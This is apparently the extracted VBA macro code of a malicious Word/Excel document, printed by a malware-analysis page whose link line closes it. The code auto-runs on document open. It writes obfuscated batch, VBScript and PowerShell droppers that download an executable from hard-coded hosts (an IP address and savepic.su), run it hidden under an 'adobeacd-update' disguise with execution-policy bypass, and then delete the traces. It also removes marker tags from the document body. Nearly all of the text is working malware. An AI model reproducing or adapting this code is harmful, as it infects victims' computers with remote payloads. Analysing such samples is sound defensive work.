     XPFILEDIR = ""
     HJUTTT = VBTXP
     XPFILEDIR = "" + JFIEDDD + HJUTTT
     UHFD = "" & JFIEDDD
     TRT = UHFD + BART
     KRT = TRT
     HYF = KRT
      
     KJSAHDFFFJ = MY_FILDIR
     
      
     Dim Kjqiwdj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer
     Dim Uuwqdhj As Integer
     Dim retVal As Variant
     
     FileNumber = FreeFile
     FileNumb = FreeFile
     FileNu = FreeFile
     FileNukk = FreeFile
     FileNs = FreeFile
     Kasdwq = FreeFile
     FileNuG = FreeFile
     
     
    Dim objWMIService As Variant
    Dim colOperatingSystems As Variant
    Dim objOperatingSystem As Variant
    
    Set objWMIService = GetObject _
    ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
    
    
    Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem" & "")
    For Each objOperatingSystem In colOperatingSystems
    CJIS = objOperatingSystem.Version
        SysReport = SysReport & "The operating system on this computer is " & _
            objOperatingSystem.Caption & _
            "  (" & CJIS & Chr(Asc(")")) & ""
    Next
    
    Set objWMIService = GetObject _
    ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ys" & "tem" & "")
    For Each objOperatingSystem In colOperatingSystems
        winverstr = objOperatingSystem.Version
    Next

  
    winver = Module3.Vava(winverstr)
    WaitFor (1)
    jskw = winver
    
      
    URLLSK = "91.194.254.215/us/file"
    STAA = "sa" & "vepic.su/5498533"
    STAB = "sa" & "vepic.su/5503653"
 
    ' UWGD = XPFILEDIR
    ' If (Len(Dir(MY_FILENDIR)) <> 0) Then
    '  SetAttr MY_FILENDIR, vbNormal
    '  Kill MY_FILENDIR
    ' End If
     
   '  If (Dir(ASDASDSA) <> "") Then
   '   SetAttr ASDASDSA, vbNormal
   '   Kill ASDASDSA
   '  End If
     
     
   '  If (Dir(MY_FILDIR) <> "") Then
   '   SetAttr MY_FILDIR, vbNormal
   '   Kill KJSAHDFFFJ
   '  End If
     
     
   '  If (Dir(STAT) <> "") Then
   '   SetAttr STAT, vbNormal
   '   Kill STAT
   '  End If
     
   
   '  If (Dir(UWGD) <> "") Then
   '   SetAttr UWGD, vbNormal
   '   Kill UWGD
   '  End If
   
   
     
If (jskw <= 5.5) Then
 'NUWHDGJS = UHFD + "euifhszdf.jfi"
 'Open NUWHDGJS For Output As #Kasdwq
 'Close #Kasdwq

 NUWHDGJS = HYF
    Open NUWHDGJS For Output As #Kasdwq
     Print #Kasdwq, ""
     Print #Kasdwq, "" & Chr(Asc("@")) & "e" & "ch" & "o of" & "f" & ""
     Print #Kasdwq, "" & ":" & "p" & "in" & "ka" & "tor" & ""
     Print #Kasdwq, Chr(112) & "in" + "g 1.2.3.1 -n" & " 2" + ""
     Print #Kasdwq, "set ggtt=" & Chr(34) & "bs" & Chr(34)
     UHADKASJDWQD = "jkh32jkh2 jk4h2kj 4h3k2j4h jk23l4h 23"
     Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\W" + "indows\T" + "emp" + "\" + VBTXP2 + ".v" + Chr(34) + "%ggtt%"
     Print #Kasdwq, Chr(112) & "in" + "g 2.2.1.1 -n" & " 2" + ""
     Print #Kasdwq, "" & ":windows"
     Print #Kasdwq, ""
     Print #Kasdwq, "" + "c:\W" + "indows\Te" + "mp\444" + "." + Chr(Asc(Chr(Asc("e")))) + Chr(Asc("x")) + Chr(Asc("e"))
     Print #Kasdwq, ":loop"
     Print #Kasdwq, Chr(112) & "in" + "g " + "1.3.1.2 -n" & _
     " 1"
     Print #Kasdwq, "set tar1=" + Chr(34) + BART + Chr(30 + 3 + 1)
     Print #Kasdwq, "set stat=" + Chr(34) + STT + Chr(33 + 1)
     Print #Kasdwq, "del " + Chr(34) + "c:\W" & "indows\" & "Tem" & "p\" + VBTXP2 + ".v" + Chr(34) + "%ggtt%"
     Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%ta" + "r1%" + "" & ""
     Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%s" + "tat%" + "" & ""
     Print #Kasdwq, "if " + "exist " + Chr(34) & "" & "c" & ":" & "\W" + "in" & "dows" & "\T" + "emp" & "\" + Chr(34) + "%tar1%" + " goto loop" + ""
     Print #Kasdwq, "" + "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "e" & "mp\" + "" & "" + VBTXP + Chr(34) + " g" + "ot" + "o lo" + "op" + ""
     Print #Kasdwq, "exit"
     Close #Kasdwq
   
     WaitFor (2)
     mttt = 88

     Open XPFILEDIR For Output As #FileNumber
     Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + URLLSK + "." + "" & Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
     Print #FileNumber, "statRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + STAA + "." + Chr(Asc("p")) + Chr(Asc("n")) + "g" + Chr(34)
     Print #FileNumber, "" + "jfeuygq = " + Chr(34) + "4.e" + Chr(34) + "+" + Chr(34) + "xe" + Chr(34)
     Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + Chr(34) + "+" + Chr(34) + "indows\" + Chr(Asc("T")) + Chr(34) + "+" + Chr(34) + "emp\44" + Chr(34) + "+" + "jfeuygq"
     Print #FileNumber, "frgea =" + Chr(34) + "M" + Chr(34) + "+" + Chr(34) + "SX" + Chr(34) + "+" + Chr(34) + "ML2.X" + Chr(34) + "+" + Chr(34) + "MLH" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + "Chr(80)"
     Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(frgea)" + ""
     Print #FileNumber, "Set sFs = C" + "reate" + Chr(Asc("O")) + "bject(frgea)"
     Print #FileNumber, "" + "" & "objXM" & "LH" & "T" & "TP.op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", strRT, False"
     Print #FileNumber, "sFs" & ".op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", statRT, False" + ""

     JASHDJK = "send()"
     Print #FileNumber, "objXMLHTTP." + JASHDJK + " "
     Print #FileNumber, "sFs." + JASHDJK + " "
     Print #FileNumber, "" & "If objXMLHTTP.Status = 200 Then" + "" & ""
     Print #FileNumber, "uwqhda = " + Chr(34) + "ADODB." + Chr(34)
     Print #FileNumber, "jaisd = uwqhda"
     Print #FileNumber, "" + "Set objADOStream = C" + "reateO" + "bject(jaisd+Chr(Sgn(-4)+84)+" + Chr(34) + Chr(34) + "&" + Chr(34) + "tr" + Chr(34) + "&" + Chr(34) + "eam" + Chr(34) + "&" + Chr(34) + Chr(34) + ")"
     Print #FileNumber, "" + "ob" + "jA" + "DOSt" + "ream.O" + "pen " + ""
     Print #FileNumber, "" & "objADOStream.Type = 1"
     Print #FileNumber, "objADOStream.Write objXMLHTTP.Re" + "" + "sp" + "onse" + "Body "
     Print #FileNumber, "objADOStream.Position = 0 "
     Print #FileNumber, "objADOStream.S" & "aveToF" & "ile st" & "rT" & "ecation " + ""
     Print #FileNumber, "objADOStream.Close "
     Print #FileNumber, "Set objADOStream = Nothing "
     Print #FileNumber, "E" & "nd if " & ""
     Print #FileNumber, "" + "Set objXMLHTTP = Nothing"
     Print #FileNumber, "Set objS" + "hell " & "=" + " " + Chr(Asc("C")) + "reate" + "O" + "bject(" + Chr(34) + "W" + "" & Chr(Asc("S")) & "" + "cr" & "ipt" & "." + "S" + "hell" + Chr(34) + ")" + ""
     
     Print #FileNumber, ""
     Close #FileNumber

     
     WaitFor (1)
     ASKJD = TRT
     NUS = Module3.Trance(retVal, ASKJD)
     
End If



If (winver > 5.5) Then
     Open MY_FILENDIR For Output As #FileNumber
     Print #FileNumber, "" & "$do" & "wn = " + Chr(Asc("N")) & "ew" & "-" & Chr(79) & "bject " & Chr(Asc(Chr(Asc("S")))) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
     Print #FileNumber, "" & "$stat = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + STAB & "" & ".p" & "n" + "g';"
     HUHHUUHUHUHUHUKMK = "6ht76 7tftf t7f 7f yfk ftyf6f tu ftyf "
     Print #FileNumber, "$gg" + "tt  = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + URLLSK & "" & "." & "" & "e" & "x" + "e';"
     Print #FileNumber, "" & "$fi" & "le = 'c:\Users\" + HUEFQ + "\Ap" + "pDa" & "ta" & "\Lo" + "cal\T" & "e" + "mp\" + "4" & "44." + Chr(101) & "x" & "e';" + ""
     Print #FileNumber, "$statfile = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + "4" & "44." + "j" & "pg';"
     Print #FileNumber, "" & "" & "" & "" & "$do" & "wn.hea" & "ders[" + Chr(39) + "User-Agent" + Chr(39) + "] = " + Chr(39) + Chr(39) + "+" + "'Mozilla/5.0 (Ma" & "cintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf" & "ari/600.1.25'" + "+''" + "" + ";"
     Print #FileNumber, "$dasdw='123';"
     Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($gg" & "tt,$" & "file);"
     Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($s" & "tat,$" & "statfile);"
     Print #FileNumber, "$asdw='123';"
     Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
     Print #FileNumber, "$noneFilePath = 'c:\Users\" + HUEFQ + "\App" & "Data\Lo" & "cal\Te" & "mp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
    
     JIUSD = "ad" & "obe'+'acd-up" & "date"
    
     Print #FileNumber, "$vbsFilePath = 'c:\Users\" + HUEFQ + "" & "\" & "A" & Chr(Asc("p")) & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "v" + Chr(39) + Chr(43) + Chr(39) + "bs" + Chr(39) + "+" + Chr(39) + Chr(39) + ";"
     Print #FileNumber, "$statFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + "444" + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "j" + Chr(39) + Chr(43) + Chr(39) + "pg" + Chr(39) + ";"
     Print #FileNumber, "$b" + "tFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "b" + Chr(39) + Chr(43) + Chr(39) + "at" + Chr(39) + ";"
     Print #FileNumber, "$p" + "sFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "p" + Chr(39) + Chr(43) + Chr(39) + "s" + Chr(39) + "+" + Chr(39) + "1" + Chr(39) + ";"
    
      
     Print #FileNumber, "St" & "art-Sleep -s 15;"
     
     Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c  'c:\Users\" + HUEFQ + "\App" & "Data\Lo" & "cal\T" & "emp" + "\444.e" & Chr(120) & "e';     "
     Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
     Print #FileNumber, "$file2 = gci $" + "b" + "t" + "FilePath -Force"
     
     Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
      Print #FileNumber, "$kasldds = $vbsFilePath"
     Print #FileNumber, "" + "If (Test-Path $kasldds){ Remove-Item $kasldds }"
     Print #FileNumber, "" + "If (Test-Path $b" + "tFileP" + "ath){ Remove-Item $b" + "tFileP" + "ath }" + ""
     Print #FileNumber, "" + "If (Test-Path $s" + "tatFileP" + "ath){ Remove-Item $st" + "atFileP" + "ath }" + ""
     Print #FileNumber, "" + "$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';" + ""
     Print #FileNumber, "" + "If (Test-Path $no" + "neFi" + "leP" + "ath){ Remove-Item $n" + "oneFi" + "lePa" + "th }" + ""
     Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
     Close #FileNumber
    KJUCBHS = " = "
    
    Open MY_FILDIR For Output As #FileNumb
    Print #FileNumb, "Dim dff"
    Print #FileNumb, "dff = 68"
    Print #FileNumb, "c" & "ur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irec" + "tory = left(WSc" & "ript.ScriptFullName," & "(L" + "en(W" + "S" + "cri" + "pt.Sc" + "riptFullName))-(len(W" + "Sc" + "ript.ScriptName)))"
    Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & Chr(34) & "&" & Chr(34) & "S" & Chr(34) & Chr(38) & Chr(34) & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) + "&" + Chr(34) + Chr(34) & ")"
    KJSUWD = Chr(34) + "&" + Chr(34) + "ad" + "obe" + "acd-up" + "date"
    Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + HUEFQ + "\AppData\Local\Temp" + "\" + KJSUWD + Chr(34) + "&" + Chr(34) + "." + Chr(34) + "&" + Chr(34) + "p" + Chr(34) + "&" + Chr(34) + "s" + Chr(34) + "&" + Chr(34) + "1" + Chr(34)
    Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "he" + Chr(Asc("l")) + Chr(Asc("l")) + KJUCBHS & Chr(Sgn(-4) + 68) + "reate" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")" + ""
    Print #FileNumb, "" + "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " + Chr(34) + Chr(34) + "+" & Chr(34) & "p" & Chr(111) & "w" + Chr(34) + "+" + Chr(34); "er" & Chr(83) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true" + "" & ""
    
    Print #FileNumb, ""
    Close #FileNumb
    KSDOW = ASDASDSA
  
   Open KSDOW For Output As #FileNs
    Print #FileNs, "@echo off"
    Print #FileNs, "pi" + "ng 1.1.2.2 -n" & " 2"
    Print #FileNs, "chcp 1251"
    Print #FileNs, ":asdqwqdw"
    Print #FileNs, "set Gds1=" + Chr(34) + "." + Chr(34)
    Print #FileNs, "set Gds2=" + Chr(34) + "v" + Chr(34)
    Print #FileNs, "set Gds3=" + Chr(34) + "bs" + Chr(34)
    Print #FileNs, "set Ads3=" + Chr(34) + "adobeacd" + Chr(34)
    Print #FileNs, "set Ads4=" + Chr(34) + "-up" & "date" + Chr(34)
    Print #FileNs, "set Gds4=" + Chr(34) & "c:\Users\" + HUEFQ + "\AppData\Local\Temp" + "\" + "" + Chr(34) + "%Ads3%" + "%Ads4%"
    Print #FileNs, "c" & "sc" & "ri" & "pt" & Chr(46) + Chr(101) & Chr(120) & "e " & "%Gds4%" + "%Gds1%%Gds2%%Gds3%"
    Print #FileNs, "exit"
    Close #FileNs
       
    SetAttr MY_FILENDIR, vbNormal
    SetAttr ASDASDSA, vbNormal
    SetAttr MY_FILDIR, vbNormal
     
    WaitFor (1)
    
    LJSUIAJHDKQ = ASDASDSA
    NUS = Module3.Trance(retVal, LJSUIAJHDKQ)
    
End If


 



    Module1.findTest
    Module3.secondTest
    Module1.abdklw
    
  
End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds

Do While Timer < SngSec
DoEvents
Loop

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub


Attribute VB_Name = "Module3"
Public Function Trance(a As Variant, b)
a = _
Shell(b, 0)
Trance = a
End Function

Public Function Signing(a As Integer)
Signing = Sgn(a)
End Function


Public Function Vava(a)
Vava = Val(a)
End Function



Sub secondTest()
Dim firstTerm As String
Dim aFerm As String
Dim myRanget As Range
Dim yytt As Range
Dim selRanget As Range
Dim selectedTextt As String
KISDQ = "in" & "bo" + "x>"
Set yytt = ActiveDocument.Range

firstTerm = "<" + KISDQ
aFerm = "</" + KISDQ
With yytt.Find
.Text = firstTerm
.MatchWholeWord = True ' MatchWholeWord
LAJSDHUW = ".MatchWholeWord askj das"
'jklasjdklsajdiqow
.Execute
yytt.Collapse direction:=wdCollapseEnd

Set selRanget = ActiveDocument.Range
selRanget.Start = yytt.End
'sdfiwelfjwilefjew
'asdkext = askld;sadka
.Text = _
aFerm ' KJSLADIW dsad sa
'KJKLhdaskd asd
.MatchWholeWord = True
'jeoifwjflsdfs
'.Executed
EXECUTEFDDD = "j jkh12jh3 kj2 1jkhlasljkdklj kj kl1h23j "
.Execute

yytt.Collapse direction:=wdCollapseStart
selRanget.End = yytt.Start
selectedTextt = selRanget
selRanget.Font.Color = wdColorBlack
End With
End Sub


Attribute VB_Name = "Module4"
Public Function Plain(a As String)
Plain = _
Environ(a)
End Function

Attribute VB_Name = "Module1"

Sub findTest()
Dim firstTerm, secondTerm, selectedText As String
Dim hhhg, selRange As Range
Set hhhg = ActiveDocument.Range
JIS = Chr(Asc(Chr(60)))
SKDW = "" & "select>"
DSQQ = JIS + SKDW
ASQQ = JIS + "/" + SKDW
firstTerm = "" & DSQQ
secondTerm = "" & ASQQ

WITHrtas = "Find"
With hhhg.Find
.Text = firstTerm
.MatchWholeWord = True
'ashdkjqhdkjqwhdjk
.Execute
EXECUTEFD = "lakjsd"
hhhg.Collapse direction:=wdCollapseEnd
Set selRange = ActiveDocument.Range
selRange.Start = hhhg.End
.Text = secondTerm
.MatchWholeWord = True
'kashdjkashdkjashdjksh
'.Executed
EXECUTEFDDD = "j jkh12jh3 kj2 1jkhlasljkdklj kj kl1h23j "
.Execute
'.asdsa


hhhg.Collapse direction:=wdCollapseStart
selRange.End = hhhg.Start
selectedText = selRange.Delete
End With
End Sub





Sub abdklw()
For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "" & "<" & "sel" & "ect>" & ""
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "" & "</s" & "ele" & "ct>" & ""
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
     For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "" & "<" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "" & "</" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.